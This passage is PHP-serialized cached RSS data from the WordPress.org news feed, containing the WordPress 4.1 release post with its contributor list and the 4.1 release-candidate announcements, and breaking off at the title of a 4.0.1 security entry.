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Recommendations are based on the plugins you and other users have installed.</p>\n<hr />\n<h2 style=\"text-align: center\">Under the Hood</h2>\n<h5>Complex Queries</h5>\n<p>Metadata, date, and term queries now support advanced conditional logic, like nested clauses and multiple operators — <code>A AND ( B OR C )</code>.</p>\n<h5>Customizer API</h5>\n<p>The customizer now supports conditionally showing panels and sections based on the page being previewed.</p>\n<h5><code>&lt;title&gt;</code> tags in themes</h5>\n<p><code>add_theme_support( \'title-tag\' )</code> tells WordPress to handle the complexities of document titles.</p>\n<h5>Developer Reference</h5>\n<p>Continued improvements to inline code documentation have made the <a href=\"https://developer.wordpress.org/reference/\">developer reference</a> more complete than ever.</p>\n<hr />\n<h2 style=\"text-align: center\">The Choir</h2>\n<p>This release was led by <a href=\"https://profiles.wordpress.org/johnbillion\">John Blackbourn</a>, with the help of these awesome folks. Check out some of their profiles while listening to Dinah Washington on the music service of your choice:</p>\n<a href=\"https://profiles.wordpress.org/aaroncampbell\">Aaron D. Campbell</a>, <a href=\"https://profiles.wordpress.org/jorbin\">Aaron Jorbin</a>, <a href=\"https://profiles.wordpress.org/adamsilverstein\">Adam Silverstein</a>, <a href=\"https://profiles.wordpress.org/akumria\">akumria</a>, <a href=\"https://profiles.wordpress.org/xknown\">Alex Concha</a>, <a href=\"https://profiles.wordpress.org/viper007bond\">Alex Mills (Viper007Bond)</a>, <a href=\"https://profiles.wordpress.org/collinsinternet\">Allan Collins</a>, <a href=\"https://profiles.wordpress.org/momo360modena\">Amaury Balmer</a>, <a href=\"https://profiles.wordpress.org/amruta123b\">Amruta Bhosale</a>, <a href=\"https://profiles.wordpress.org/afercia\">Andrea Fercia</a>, <a href=\"https://profiles.wordpress.org/andg\">Andrea Gandino</a>, <a href=\"https://profiles.wordpress.org/sumobi\">Andrew Munro (sumobi)</a>, <a href=\"https://profiles.wordpress.org/nacin\">Andrew Nacin</a>, <a href=\"https://profiles.wordpress.org/azaozz\">Andrew Ozz</a>, <a href=\"https://profiles.wordpress.org/andrewryno\">Andrew Ryno</a>, <a href=\"https://profiles.wordpress.org/rarst\">Andrey \"Rarst\" Savchenko</a>, <a href=\"https://profiles.wordpress.org/ankitgadertcampcom\">Ankit Gade</a>, <a href=\"https://profiles.wordpress.org/ankit-k-gupta\">Ankit K Gupta</a>, <a href=\"https://profiles.wordpress.org/antpb\">Anthony Burchell</a>, <a href=\"https://profiles.wordpress.org/arippberger\">arippberger</a>, <a href=\"https://profiles.wordpress.org/filosofo\">Austin Matzko</a>, <a href=\"https://profiles.wordpress.org/bainternet\">Bainternet</a>, <a href=\"https://profiles.wordpress.org/barrykooij\">Barry Kooij</a>, <a href=\"https://profiles.wordpress.org/empireoflight\">Ben Dunkle</a>, <a href=\"https://profiles.wordpress.org/benjmay\">Ben May</a>, <a href=\"https://profiles.wordpress.org/neoxx\">Bernhard Riedl</a>, <a href=\"https://profiles.wordpress.org/birgire\">Birgir Erlendsson (birgire)</a>, <a href=\"https://profiles.wordpress.org/bobbingwide\">bobbingwide</a>, <a href=\"https://profiles.wordpress.org/bradyvercher\">Brady Vercher</a>, <a href=\"https://profiles.wordpress.org/bramd\">Bram Duvigneau</a>, <a href=\"https://profiles.wordpress.org/kraftbj\">Brandon Kraft</a>, <a href=\"https://profiles.wordpress.org/briandichiara\">Brian DiChiara</a>, <a href=\"https://profiles.wordpress.org/rzen\">Brian Richards</a>, <a href=\"https://profiles.wordpress.org/bswatson\">Brian Watson</a>, <a href=\"https://profiles.wordpress.org/camdensegal\">Camden Segal</a>, <a href=\"https://profiles.wordpress.org/captaintheme\">Captain Theme</a>, <a href=\"https://profiles.wordpress.org/hiwhatsup\">Carlos</a>, <a href=\"https://profiles.wordpress.org/caspie\">Caspie</a>, <a href=\"https://profiles.wordpress.org/ccprice\">ccprice</a>, <a href=\"https://profiles.wordpress.org/mackensen\">Charles Fulton</a>, <a href=\"https://profiles.wordpress.org/chrico\">ChriCo</a>, <a href=\"https://profiles.wordpress.org/aprea\">Chris Aprea</a>, <a href=\"https://profiles.wordpress.org/ehg\">Chris Blower</a>, <a href=\"https://profiles.wordpress.org/chrisbliss18\">Chris Jean</a>, <a href=\"https://profiles.wordpress.org/cmmarslender\">Chris Marslender</a>, <a href=\"https://profiles.wordpress.org/jazzs3quence\">Chris Reynolds</a>, <a href=\"https://profiles.wordpress.org/chriscct7\">chriscct7</a>, <a href=\"https://profiles.wordpress.org/chrisl27\">chrisl27</a>, <a href=\"https://profiles.wordpress.org/cfoellmann\">Christian Foellmann</a>, <a href=\"https://profiles.wordpress.org/cfinke\">Christopher Finke</a>, <a href=\"https://profiles.wordpress.org/cyclometh\">Corey Snow</a>, <a href=\"https://profiles.wordpress.org/corphi\">Corphi</a>, <a href=\"https://profiles.wordpress.org/curtjen\">curtjen</a>, <a href=\"https://profiles.wordpress.org/colorful-tones\">Damon Cook</a>, <a href=\"https://profiles.wordpress.org/dancameron\">Dan Cameron</a>, <a href=\"https://profiles.wordpress.org/danielbachhuber\">Daniel Bachhuber</a>, <a href=\"https://profiles.wordpress.org/convissor\">Daniel Convissor</a>, <a href=\"https://profiles.wordpress.org/nerrad\">Darren Ethier (nerrad)</a>, <a href=\"https://profiles.wordpress.org/koop\">Daryl Koopersmith</a>, <a href=\"https://profiles.wordpress.org/dmchale\">Dave McHale</a>, <a href=\"https://profiles.wordpress.org/davidakennedy\">David A. Kennedy</a>, <a href=\"https://profiles.wordpress.org/dlh\">David Herrera</a>, <a href=\"https://profiles.wordpress.org/davidjlaietta\">David Laietta</a>, <a href=\"https://profiles.wordpress.org/technical_mastermind\">David Wood</a>, <a href=\"https://profiles.wordpress.org/davidthemachine\">DavidTheMachine</a>, <a href=\"https://profiles.wordpress.org/dcavins\">dcavins</a>, <a href=\"https://profiles.wordpress.org/realloc\">Dennis Ploetner</a>, <a href=\"https://profiles.wordpress.org/dd32\">Dion Hulse</a>, <a href=\"https://profiles.wordpress.org/wedi\">Dirk Weise</a>, <a href=\"https://profiles.wordpress.org/ocean90\">Dominik Schilling</a>, <a href=\"https://profiles.wordpress.org/dominikschwind-1\">Dominik Schwind</a>, <a href=\"https://profiles.wordpress.org/drewapicture\">Drew Jaynes</a>, <a href=\"https://profiles.wordpress.org/dustyf\">Dustin Filippini</a>, <a href=\"https://profiles.wordpress.org/dustinhartzler\">Dustin Hartzler</a>, <a href=\"https://profiles.wordpress.org/eliorivero\">Elio Rivero</a>, <a href=\"https://profiles.wordpress.org/ebinnion\">Eric Binnion</a>, <a href=\"https://profiles.wordpress.org/ew_holmes\">Eric Holmes</a>, <a href=\"https://profiles.wordpress.org/ericlewis\">Eric Lewis</a>, <a href=\"https://profiles.wordpress.org/ethitter\">Erick Hitter</a>, <a href=\"https://profiles.wordpress.org/fab1en\">Fabien Quatravaux</a>, <a href=\"https://profiles.wordpress.org/florianziegler\">Florian Ziegler</a>, <a href=\"https://profiles.wordpress.org/hereswhatidid\">Gabe Shackle</a>, <a href=\"https://profiles.wordpress.org/garyc40\">Gary Cao</a>, <a href=\"https://profiles.wordpress.org/pento\">Gary Pendergast</a>, <a href=\"https://profiles.wordpress.org/soulseekah\">Gennady Kovshenin</a>, <a href=\"https://profiles.wordpress.org/babbardel\">George Olaru</a>, <a href=\"https://profiles.wordpress.org/georgestephanis\">George Stephanis</a>, <a href=\"https://profiles.wordpress.org/gregrickaby\">Greg Rickaby</a>, <a href=\"https://profiles.wordpress.org/gcorne\">Gregory Cornelius</a>, <a href=\"https://profiles.wordpress.org/tivnet\">Gregory Karpinsky (@tivnet)</a>, <a href=\"https://profiles.wordpress.org/bordoni\">Gustavo Bordoni</a>, <a href=\"https://profiles.wordpress.org/hardy101\">hardy101</a>, <a href=\"https://profiles.wordpress.org/hauvong\">hauvong</a>, <a href=\"https://profiles.wordpress.org/helen\">Helen Hou-Sandí</a>, <a href=\"https://profiles.wordpress.org/heshiming\">heshiming</a>, <a href=\"https://profiles.wordpress.org/honeysilvas\">honeysilvas</a>, <a href=\"https://profiles.wordpress.org/hugodelgado\">hugodelgado</a>, <a href=\"https://profiles.wordpress.org/ianmjones\">ianmjones</a>, <a href=\"https://profiles.wordpress.org/igmoweb\">Ignacio Cruz Moreno</a>, <a href=\"https://profiles.wordpress.org/imath\">imath</a>, <a href=\"https://profiles.wordpress.org/ipstenu\">Ipstenu (Mika Epstein)</a>, <a href=\"https://profiles.wordpress.org/ivankristianto\">Ivan Kristianto</a>, <a href=\"https://profiles.wordpress.org/jdgrimes\">J.D. Grimes</a>, <a href=\"https://profiles.wordpress.org/jaimieolmstead\">jaimieolmstead</a>, <a href=\"https://profiles.wordpress.org/jakubtyrcha\">jakub.tyrcha</a>, <a href=\"https://profiles.wordpress.org/janhenckens\">janhenckens</a>, <a href=\"https://profiles.wordpress.org/avryl\">Janneke Van Dorpe</a>, <a href=\"https://profiles.wordpress.org/japh\">Japh</a>, <a href=\"https://profiles.wordpress.org/jwenerd\">Jared Wenerd</a>, <a href=\"https://profiles.wordpress.org/jarednova\">jarednova</a>, <a href=\"https://profiles.wordpress.org/jeanyoungkim\">jeanyoungkim</a>, <a href=\"https://profiles.wordpress.org/jfarthing84\">Jeff Farthing</a>, <a href=\"https://profiles.wordpress.org/jeffstieler\">Jeff Stieler</a>, <a href=\"https://profiles.wordpress.org/jeremyfelt\">Jeremy Felt</a>, <a href=\"https://profiles.wordpress.org/jeherve\">Jeremy Herve</a>, <a href=\"https://profiles.wordpress.org/jesin\">Jesin A</a>, <a href=\"https://profiles.wordpress.org/jayjdk\">Jesper Johansen (jayjdk)</a>, <a href=\"https://profiles.wordpress.org/engelen\">Jesper van Engelen</a>, <a href=\"https://profiles.wordpress.org/jessepollak\">Jesse Pollak</a>, <a href=\"https://profiles.wordpress.org/jipmoors\">jipmoors</a>, <a href=\"https://profiles.wordpress.org/joemcgill\">Joe McGill</a>, <a href=\"https://profiles.wordpress.org/johneckman\">John Eckman</a>, <a href=\"https://profiles.wordpress.org/johnrom\">johnrom</a>, <a href=\"https://profiles.wordpress.org/johnstonphilip\">johnstonphilip</a>, <a href=\"https://profiles.wordpress.org/jb510\">Jon Brown</a>, <a href=\"https://profiles.wordpress.org/duck_\">Jon Cave</a>, <a href=\"https://profiles.wordpress.org/jbrinley\">Jonathan Brinley</a>, <a href=\"https://profiles.wordpress.org/desrosj\">Jonathan Desrosiers</a>, <a href=\"https://profiles.wordpress.org/joostdevalk\">Joost de Valk</a>, <a href=\"https://profiles.wordpress.org/softmodeling\">Jordi Cabot</a>, <a href=\"https://profiles.wordpress.org/joshuaabenazer\">Joshua Abenazer</a>, <a href=\"https://profiles.wordpress.org/tai\">JOTAKI Taisuke</a>, <a href=\"https://profiles.wordpress.org/jrf\">jrf</a>, <a href=\"https://profiles.wordpress.org/julien731\">Julien Liabeuf</a>, <a href=\"https://profiles.wordpress.org/justinsainton\">Justin Sainton</a>, <a href=\"https://profiles.wordpress.org/jtsternberg\">Justin Sternberg</a>, <a href=\"https://profiles.wordpress.org/kadamwhite\">K.Adam White</a>, <a href=\"https://profiles.wordpress.org/trepmal\">Kailey (trepmal)</a>, <a href=\"https://profiles.wordpress.org/kamelkev\">kamelkev</a>, <a href=\"https://profiles.wordpress.org/karpstrucking\">karpstrucking</a>, <a href=\"https://profiles.wordpress.org/keesiemeijer\">keesiemeijer</a>, <a href=\"https://profiles.wordpress.org/ryelle\">Kelly Dwan</a>, <a href=\"https://profiles.wordpress.org/kevinlangleyjr\">Kevin Langley</a>, <a href=\"https://profiles.wordpress.org/kdoran\">Kiko Doran</a>, <a href=\"https://profiles.wordpress.org/kpdesign\">Kim Parsell</a>, <a href=\"https://profiles.wordpress.org/kwight\">Kirk Wight</a>, <a href=\"https://profiles.wordpress.org/kitchin\">kitchin</a>, <a href=\"https://profiles.wordpress.org/ixkaito\">Kite</a>, <a href=\"https://profiles.wordpress.org/knutsp\">Knut Sparhell</a>, <a href=\"https://profiles.wordpress.org/kovshenin\">Konstantin Kovshenin</a>, <a href=\"https://profiles.wordpress.org/obenland\">Konstantin Obenland</a>, <a href=\"https://profiles.wordpress.org/kosvrouvas\">Kostas Vrouvas</a>, <a href=\"https://profiles.wordpress.org/kraftner\">kraftner</a>, <a href=\"https://profiles.wordpress.org/kristastevens\">kristastevens</a>, <a href=\"https://profiles.wordpress.org/kurtpayne\">Kurt Payne</a>, <a href=\"https://profiles.wordpress.org/lancewillett\">Lance Willett</a>, <a href=\"https://profiles.wordpress.org/offereins\">Laurens Offereins</a>, <a href=\"https://profiles.wordpress.org/linuxologos\">linuxologos</a>, <a href=\"https://profiles.wordpress.org/ideag\">Liuiza Arunas</a>, <a href=\"https://profiles.wordpress.org/loushou\">loushou</a>, <a href=\"https://profiles.wordpress.org/latz\">Lutz Schroer</a>, <a href=\"https://profiles.wordpress.org/manoz69\">Manoz69</a>, <a href=\"https://profiles.wordpress.org/mantismamita\">mantismamita</a>, <a href=\"https://profiles.wordpress.org/marcosf\">Marco Schmoecker</a>, <a href=\"https://profiles.wordpress.org/nofearinc\">Mario Peshev</a>, <a href=\"https://profiles.wordpress.org/clorith\">Marius (Clorith)</a>, <a href=\"https://profiles.wordpress.org/landakram\">Mark Hudnall</a>, <a href=\"https://profiles.wordpress.org/markjaquith\">Mark Jaquith</a>, <a href=\"https://profiles.wordpress.org/senff\">Mark Senff</a>, <a href=\"https://profiles.wordpress.org/markoheijnen\">Marko Heijnen</a>, <a href=\"https://profiles.wordpress.org/marsjaninzmarsa\">marsjaninzmarsa</a>, <a href=\"https://profiles.wordpress.org/matt\">Matt Mullenweg</a>, <a href=\"https://profiles.wordpress.org/mattwiebe\">Matt Wiebe</a>, <a href=\"https://profiles.wordpress.org/mboynes\">Matthew Boynes</a>, <a href=\"https://profiles.wordpress.org/mattheu\">Matthew Haines-Young</a>, <a href=\"https://profiles.wordpress.org/mattkeys\">mattkeys</a>, <a href=\"https://profiles.wordpress.org/matveb\">Matías Ventura</a>, <a href=\"https://profiles.wordpress.org/mlteal\">Maura Teal</a>, <a href=\"https://profiles.wordpress.org/melchoyce\">Mel Choyce</a>, <a href=\"https://profiles.wordpress.org/merty\">Mert Yazicioglu</a>, <a href=\"https://profiles.wordpress.org/mdawaffe\">Michael Adams (mdawaffe)</a>, <a href=\"https://profiles.wordpress.org/michael-arestad\">Michael Arestad</a>, <a href=\"https://profiles.wordpress.org/tw2113\">Michael Beckwith</a>, <a href=\"https://profiles.wordpress.org/cainm\">Michael Cain</a>, <a href=\"https://profiles.wordpress.org/smashcut\">Michael Pick</a>, <a href=\"https://profiles.wordpress.org/michalzuber\">michalzuber</a>, <a href=\"https://profiles.wordpress.org/chellycat\">Michelle Langston</a>, <a href=\"https://profiles.wordpress.org/mcsf\">Miguel Fonseca</a>, <a href=\"https://profiles.wordpress.org/mikehansenme\">Mike Hansen</a>, <a href=\"https://profiles.wordpress.org/mikejolley\">Mike Jolley</a>, <a href=\"https://profiles.wordpress.org/mnelson4\">Mike Nelson</a>, <a href=\"https://profiles.wordpress.org/dh-shredder\">Mike Schroder</a>, <a href=\"https://profiles.wordpress.org/mikeyarce\">Mikey Arce</a>, <a href=\"https://profiles.wordpress.org/studionashvegas\">Mitch Canter (studionashvegas)</a>, <a href=\"https://profiles.wordpress.org/morganestes\">Morgan Estes</a>, <a href=\"https://profiles.wordpress.org/mor10\">Morten Rand-Hendriksen</a>, <a href=\"https://profiles.wordpress.org/mvd7793\">mvd7793</a>, <a href=\"https://profiles.wordpress.org/alex-ye\">Nashwan Doaqan</a>, <a href=\"https://profiles.wordpress.org/niallkennedy\">Niall Kennedy</a>, <a href=\"https://profiles.wordpress.org/nikv\">Nikhil Vimal (NikV)</a>, <a href=\"https://profiles.wordpress.org/nikolovtmw\">Nikola Nikolov</a>, <a href=\"https://profiles.wordpress.org/nobleclem\">nobleclem</a>, <a href=\"https://profiles.wordpress.org/noplanman\">noplanman</a>, <a href=\"https://profiles.wordpress.org/nvwd\">Nowell VanHoesen</a>, <a href=\"https://profiles.wordpress.org/originalexe\">OriginalEXE</a>, <a href=\"https://profiles.wordpress.org/p_enrique\">p_enrique</a>, <a href=\"https://profiles.wordpress.org/pushplaybang\">Paul</a>, <a href=\"https://profiles.wordpress.org/pauldewouters\">Paul de Wouters</a>, <a href=\"https://profiles.wordpress.org/paulschreiber\">Paul Schreiber</a>, <a href=\"https://profiles.wordpress.org/paulwilde\">Paul Wilde</a>, <a href=\"https://profiles.wordpress.org/pavelevap\">pavelevap</a>, <a href=\"https://profiles.wordpress.org/peterchester\">Peter Chester</a>, <a href=\"https://profiles.wordpress.org/donutz\">Peter J. Herrel</a>, <a href=\"https://profiles.wordpress.org/westi\">Peter Westwood</a>, <a href=\"https://profiles.wordpress.org/peterwilsoncc\">Peter Wilson</a>, <a href=\"https://profiles.wordpress.org/philiparthurmoore\">Philip Arthur Moore</a>, <a href=\"https://profiles.wordpress.org/phpmypython\">phpmypython</a>, <a href=\"https://profiles.wordpress.org/mordauk\">Pippin Williamson</a>, <a href=\"https://profiles.wordpress.org/nprasath002\">Prasath Nadarajah</a>, <a href=\"https://profiles.wordpress.org/psycleuk\">psycleuk</a>, <a href=\"https://profiles.wordpress.org/ptahdunbar\">Ptah Dunbar</a>, <a href=\"https://profiles.wordpress.org/quietnic\">quietnic</a>, <a href=\"https://profiles.wordpress.org/rachelbaker\">Rachel Baker</a>, <a href=\"https://profiles.wordpress.org/ramiy\">Rami Yushuvaev</a>, <a href=\"https://profiles.wordpress.org/ramiabraham\">ramiabraham</a>, <a href=\"https://profiles.wordpress.org/greuben\">Reuben Gunday</a>, <a href=\"https://profiles.wordpress.org/rianrietveld\">Rian Rietveld</a>, <a href=\"https://profiles.wordpress.org/richardmtl\">Richard Archambault</a>, <a href=\"https://profiles.wordpress.org/rickalee\">Ricky Lee Whittemore</a>, <a href=\"https://profiles.wordpress.org/miqrogroove\">Robert Chapin</a>, <a href=\"https://profiles.wordpress.org/rodrigosprimo\">Rodrigo Primo</a>, <a href=\"https://profiles.wordpress.org/ryan\">Ryan Boren</a>, <a href=\"https://profiles.wordpress.org/ryankienstra\">Ryan Kienstra</a>, <a href=\"https://profiles.wordpress.org/rmccue\">Ryan McCue</a>, <a href=\"https://profiles.wordpress.org/sakinshrestha\">Sakin Shrestha</a>, <a href=\"https://profiles.wordpress.org/samhotchkiss\">Sam Hotchkiss</a>, <a href=\"https://profiles.wordpress.org/otto42\">Samuel Wood (Otto)</a>, <a href=\"https://profiles.wordpress.org/sc0ttkclark\">Scott Kingsley Clark</a>, <a href=\"https://profiles.wordpress.org/coffee2code\">Scott Reilly</a>, <a href=\"https://profiles.wordpress.org/wonderboymusic\">Scott Taylor</a>, <a href=\"https://profiles.wordpress.org/sergeybiryukov\">Sergey Biryukov</a>, <a href=\"https://profiles.wordpress.org/shaunandrews\">Shaun Andrews</a>, <a href=\"https://profiles.wordpress.org/shooper\">Shawn Hooper</a>, <a href=\"https://profiles.wordpress.org/simonp303\">Simon Pollard</a>, <a href=\"https://profiles.wordpress.org/simonwheatley\">Simon Wheatley</a>, <a href=\"https://profiles.wordpress.org/skaeser\">skaeser</a>, <a href=\"https://profiles.wordpress.org/slobodanmanic\">Slobodan Manic</a>, <a href=\"https://profiles.wordpress.org/socki03\">socki03</a>, <a href=\"https://profiles.wordpress.org/solarissmoke\">solarissmoke</a>, <a href=\"https://profiles.wordpress.org/netweb\">Stephen Edgar</a>, <a href=\"https://profiles.wordpress.org/stephenharris\">Stephen Harris</a>, <a href=\"https://profiles.wordpress.org/stevegrunwell\">Steve Grunwell</a>, <a href=\"https://profiles.wordpress.org/5um17\">Sumit Singh</a>, <a href=\"https://profiles.wordpress.org/tacoverdo\">TacoVerdo</a>, <a href=\"https://profiles.wordpress.org/miyauchi\">Takayuki Miyauchi</a>, <a href=\"https://profiles.wordpress.org/karmatosed\">Tammie</a>, <a href=\"https://profiles.wordpress.org/tareq1988\">Tareq Hasan</a>, <a href=\"https://profiles.wordpress.org/tlovett1\">Taylor Lovett</a>, <a href=\"https://profiles.wordpress.org/ipm-frommen\">Thorsten Frommen</a>, <a href=\"https://profiles.wordpress.org/tillkruess\">Till Kruss</a>, <a href=\"https://profiles.wordpress.org/tschutter\">Tobias Schutter</a>, <a href=\"https://profiles.wordpress.org/tobiasbg\">TobiasBg</a>, <a href=\"https://profiles.wordpress.org/tmtrademark\">Toby McKes</a>, <a href=\"https://profiles.wordpress.org/tjnowell\">Tom J Nowell</a>, <a href=\"https://profiles.wordpress.org/tomasm\">Tomas Mackevicius</a>, <a href=\"https://profiles.wordpress.org/tomharrigan\">TomHarrigan</a>, <a href=\"https://profiles.wordpress.org/topher1kenobe\">Topher</a>, <a href=\"https://profiles.wordpress.org/zodiac1978\">Torsten Landsiedel</a>, <a href=\"https://profiles.wordpress.org/liljimmi\">Tracy Levesque</a>, <a href=\"https://profiles.wordpress.org/transom\">transom</a>, <a href=\"https://profiles.wordpress.org/wpsmith\">Travis Smith</a>, <a href=\"https://profiles.wordpress.org/tywayne\">Ty Carlson</a>, <a href=\"https://profiles.wordpress.org/desaiuditd\">Udit Desai</a>, <a href=\"https://profiles.wordpress.org/umeshsingla\">Umesh Kumar</a>, <a href=\"https://profiles.wordpress.org/vinod-dalvi\">Vinod Dalvi</a>, <a href=\"https://profiles.wordpress.org/vlajos\">vlajos</a>, <a href=\"https://profiles.wordpress.org/voldemortensen\">voldemortensen</a>, <a href=\"https://profiles.wordpress.org/westonruter\">Weston Ruter</a>, <a href=\"https://profiles.wordpress.org/yoavf\">Yoav Farhi</a>, <a href=\"https://profiles.wordpress.org/nobinobi\">Yuta Sekine</a>, <a href=\"https://profiles.wordpress.org/zrothauser\">Zack Rothauser</a>, and <a href=\"https://profiles.wordpress.org/tollmanz\">Zack Tollman</a>.\n<p>There were 283 contributors to this release, again a new high.</p>\n<p>If you want to help out or follow along, check out <a href=\"https://make.wordpress.org/\">Make WordPress</a> and our <a href=\"https://make.wordpress.org/core/\">core development blog</a>.</p>\n<p>Thanks for choosing WordPress. Happy holidays and see you next year for version 4.2!</p>\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:36:\"http://wellformedweb.org/CommentAPI/\";a:1:{s:10:\"commentRss\";a:1:{i:0;a:5:{s:4:\"data\";s:46:\"https://wordpress.org/news/2014/12/dinah/feed/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:38:\"http://purl.org/rss/1.0/modules/slash/\";a:1:{s:8:\"comments\";a:1:{i:0;a:5:{s:4:\"data\";s:1:\"0\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:1;a:6:{s:4:\"data\";s:45:\"\n		\n		\n		\n		\n		\n				\n		\n\n		\n		\n				\n			\n		\n		\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:5:{s:0:\"\";a:7:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:33:\"WordPress 4.1 Release Candidate 3\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:69:\"https://wordpress.org/news/2014/12/wordpress-4-1-release-candidate-3/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"comments\";a:1:{i:0;a:5:{s:4:\"data\";s:78:\"https://wordpress.org/news/2014/12/wordpress-4-1-release-candidate-3/#comments\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Thu, 18 Dec 2014 02:22:15 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"category\";a:2:{i:0;a:5:{s:4:\"data\";s:11:\"Development\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}i:1;a:5:{s:4:\"data\";s:8:\"Releases\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:33:\"http://wordpress.org/news/?p=3411\";s:7:\"attribs\";a:1:{s:0:\"\";a:1:{s:11:\"isPermaLink\";s:5:\"false\";}}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:429:\"The next release candidate for WordPress 4.1 is now available for testing. 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With no known issues left, we plan to release 4.1 tomorrow, December 18.</p>\n<p>To test, try the <a href=\"https://wordpress.org/plugins/wordpress-beta-tester/\">WordPress Beta Tester</a> plugin (you&#8217;ll want &#8220;bleeding edge nightlies&#8221;). Or you can <a href=\"https://wordpress.org/wordpress-4.1-RC3.zip\">download the release candidate here</a> (zip). If you&#8217;d like to learn more about what&#8217;s new in WordPress 4.1, visit the updated About screen in your dashboard (<strong><img src=\"https://i0.wp.com/core.svn.wordpress.org/branches/3.6/wp-content/themes/twentyten/images/wordpress.png\" alt=\"\" width=\"16\" height=\"16\" /> → About</strong> in the toolbar) and also check out <a href=\"https://wordpress.org/news/2014/11/wordpress-4-1-beta-1/\">the Beta 1 post</a>.</p>\n<p><strong>Plugin authors:</strong> Remember to test your plugins against 4.1, and if they&#8217;re compatible, make sure they are marked as tested up to 4.1. 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We hope to ship WordPress 4.1 on Tuesday, December 16, but we need your help to get there. If you haven’t tested 4.1 yet, now is the time! (Please though, not on your live site unless you’re adventurous.)</p>\n<p><strong>Think you&#8217;ve found a bug?</strong> Please post to the <a href=\"https://wordpress.org/support/forum/alphabeta/\">Alpha/Beta support forum</a>. If any known issues come up, you&#8217;ll be able to <a href=\"https://core.trac.wordpress.org/report/5\">find them here</a>.</p>\n<p>To test WordPress 4.1 RC1, you can use the <a href=\"https://wordpress.org/plugins/wordpress-beta-tester/\">WordPress Beta Tester</a> plugin or you can <a href=\"https://wordpress.org/wordpress-4.1-RC1.zip\">download the release candidate here</a> (zip). If you&#8217;d like to learn more about what&#8217;s new in WordPress 4.1, visit the About screen in your dashboard (<strong><img src=\"https://i0.wp.com/core.svn.wordpress.org/branches/3.6/wp-content/themes/twentyten/images/wordpress.png\" alt=\"\" width=\"16\" height=\"16\" /> → About</strong> in the toolbar) or check out the <a href=\"https://wordpress.org/news/2014/11/wordpress-4-1-beta-1/\">beta announcement</a>.</p>\n<p><strong>Developers</strong>, please test your plugins and themes against WordPress 4.1 and update your plugin&#8217;s <em>Tested up to</em> version in the readme to 4.1 before next week. If you find compatibility problems, we never want to break things, so please be sure to post to the support forums so we can figure those out before the final release.</p>\n<p>Be sure to <a href=\"https://make.wordpress.org/core/\">follow along the core development blog</a>, where we&#8217;ll continue to post <a href=\"https://make.wordpress.org/core/tag/4-1-dev-notes/\">notes for developers</a> for 4.1. (For example: if you&#8217;ve written a child theme for Twenty Fifteen, some of the new pagination functions have been renamed for clarity.)</p>\n<p><em>Testing four point one</em><br />\n<em>Why are we up at this hour?</em><br />\n<em>Code is poetry</em></p>\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:36:\"http://wellformedweb.org/CommentAPI/\";a:1:{s:10:\"commentRss\";a:1:{i:0;a:5:{s:4:\"data\";s:72:\"https://wordpress.org/news/2014/12/wordpress-4-1-release-candidate/feed/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:38:\"http://purl.org/rss/1.0/modules/slash/\";a:1:{s:8:\"comments\";a:1:{i:0;a:5:{s:4:\"data\";s:1:\"0\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:3;a:6:{s:4:\"data\";s:45:\"\n		\n		\n		\n		\n		\n				\n		\n\n		\n		\n				\n			\n		\n		\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:5:{s:0:\"\";a:7:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:32:\"WordPress 4.0.1 Security 